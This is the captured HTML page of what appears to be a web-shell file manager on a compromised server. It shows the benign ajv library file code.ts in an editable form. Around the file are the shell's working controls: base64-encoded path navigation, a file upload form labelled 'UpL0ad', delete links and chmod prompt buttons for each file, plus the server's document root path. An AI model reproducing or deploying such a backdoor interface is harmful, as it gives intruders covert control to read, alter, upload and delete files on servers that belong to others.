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<hr>code.ts<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4%3D&f=Y29kZS50cw%3D%3D"><input name="f" value="code.ts"><textarea name="t">export abstract class _CodeOrName {
  abstract readonly str: string
  abstract readonly names: UsedNames
  abstract toString(): string
  abstract emptyStr(): boolean
}

export const IDENTIFIER = /^[a-z$_][a-z$_0-9]*$/i

export class Name extends _CodeOrName {
  readonly str: string
  constructor(s: string) {
    super()
    if (!IDENTIFIER.test(s)) throw new Error(&quot;CodeGen: name must be a valid identifier&quot;)
    this.str = s
  }

  toString(): string {
    return this.str
  }

  emptyStr(): boolean {
    return false
  }

  get names(): UsedNames {
    return {[this.str]: 1}
  }
}

export class _Code extends _CodeOrName {
  readonly _items: readonly CodeItem[]
  private _str?: string
  private _names?: UsedNames

  constructor(code: string | readonly CodeItem[]) {
    super()
    this._items = typeof code === &quot;string&quot; ? [code] : code
  }

  toString(): string {
    return this.str
  }

  emptyStr(): boolean {
    if (this._items.length &gt; 1) return false
    const item = this._items[0]
    return item === &quot;&quot; || item === '&quot;&quot;'
  }

  get str(): string {
    return (this._str ??= this._items.reduce((s: string, c: CodeItem) =&gt; `${s}${c}`, &quot;&quot;))
  }

  get names(): UsedNames {
    return (this._names ??= this._items.reduce((names: UsedNames, c) =&gt; {
      if (c instanceof Name) names[c.str] = (names[c.str] || 0) + 1
      return names
    }, {}))
  }
}

export type CodeItem = Name | string | number | boolean | null

export type UsedNames = Record&lt;string, number | undefined&gt;

export type Code = _Code | Name

export type SafeExpr = Code | number | boolean | null

export const nil = new _Code(&quot;&quot;)

type CodeArg = SafeExpr | string | undefined

export function _(strs: TemplateStringsArray, ...args: CodeArg[]): _Code {
  const code: CodeItem[] = [strs[0]]
  let i = 0
  while (i &lt; args.length) {
    addCodeArg(code, args[i])
    code.push(strs[++i])
  }
  return new _Code(code)
}

const plus = new _Code(&quot;+&quot;)

export function str(strs: TemplateStringsArray, ...args: (CodeArg | string[])[]): _Code {
  const expr: CodeItem[] = [safeStringify(strs[0])]
  let i = 0
  while (i &lt; args.length) {
    expr.push(plus)
    addCodeArg(expr, args[i])
    expr.push(plus, safeStringify(strs[++i]))
  }
  optimize(expr)
  return new _Code(expr)
}

export function addCodeArg(code: CodeItem[], arg: CodeArg | string[]): void {
  if (arg instanceof _Code) code.push(...arg._items)
  else if (arg instanceof Name) code.push(arg)
  else code.push(interpolate(arg))
}

function optimize(expr: CodeItem[]): void {
  let i = 1
  while (i &lt; expr.length - 1) {
    if (expr[i] === plus) {
      const res = mergeExprItems(expr[i - 1], expr[i + 1])
      if (res !== undefined) {
        expr.splice(i - 1, 3, res)
        continue
      }
      expr[i++] = &quot;+&quot;
    }
    i++
  }
}

function mergeExprItems(a: CodeItem, b: CodeItem): CodeItem | undefined {
  if (b === '&quot;&quot;') return a
  if (a === '&quot;&quot;') return b
  if (typeof a == &quot;string&quot;) {
    if (b instanceof Name || a[a.length - 1] !== '&quot;') return
    if (typeof b != &quot;string&quot;) return `${a.slice(0, -1)}${b}&quot;`
    if (b[0] === '&quot;') return a.slice(0, -1) + b.slice(1)
    return
  }
  if (typeof b == &quot;string&quot; &amp;&amp; b[0] === '&quot;' &amp;&amp; !(a instanceof Name)) return `&quot;${a}${b.slice(1)}`
  return
}

export function strConcat(c1: Code, c2: Code): Code {
  return c2.emptyStr() ? c1 : c1.emptyStr() ? c2 : str`${c1}${c2}`
}

// TODO do not allow arrays here
function interpolate(x?: string | string[] | number | boolean | null): SafeExpr | string {
  return typeof x == &quot;number&quot; || typeof x == &quot;boolean&quot; || x === null
    ? x
    : safeStringify(Array.isArray(x) ? x.join(&quot;,&quot;) : x)
}

export function stringify(x: unknown): Code {
  return new _Code(safeStringify(x))
}

export function safeStringify(x: unknown): string {
  return JSON.stringify(x)
    .replace(/\u2028/g, &quot;\\u2028&quot;)
    .replace(/\u2029/g, &quot;\\u2029&quot;)
}

export function getProperty(key: Code | string | number): Code {
  return typeof key == &quot;string&quot; &amp;&amp; IDENTIFIER.test(key) ? new _Code(`.${key}`) : _`[${key}]`
}

//Does best effort to format the name properly
export function getEsmExportName(key: Code | string | number): Code {
  if (typeof key == &quot;string&quot; &amp;&amp; IDENTIFIER.test(key)) {
    return new _Code(`${key}`)
  }
  throw new Error(`CodeGen: invalid export name: ${key}, use explicit $id name mapping`)
}

export function regexpCode(rx: RegExp): Code {
  return new _Code(rx.toString())
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/ajv/lib/compile/codegen<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxl"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&x=Y29kZS50cw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&f=Y29kZS50cw=="/>code.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&f=Y29kZS50cw==&c=`+btoa(c):0" value="0644"></td><td>4407</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&x=aW5kZXgudHM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&f=aW5kZXgudHM="/>index.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&f=aW5kZXgudHM=&c=`+btoa(c):0" value="0644"></td><td>22971</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&x=c2NvcGUudHM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&f=c2NvcGUudHM="/>scope.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWp2L2xpYi9jb21waWxlL2NvZGVnZW4=&f=c2NvcGUudHM=&c=`+btoa(c):0" value="0644"></td><td>5981</td></tr></table>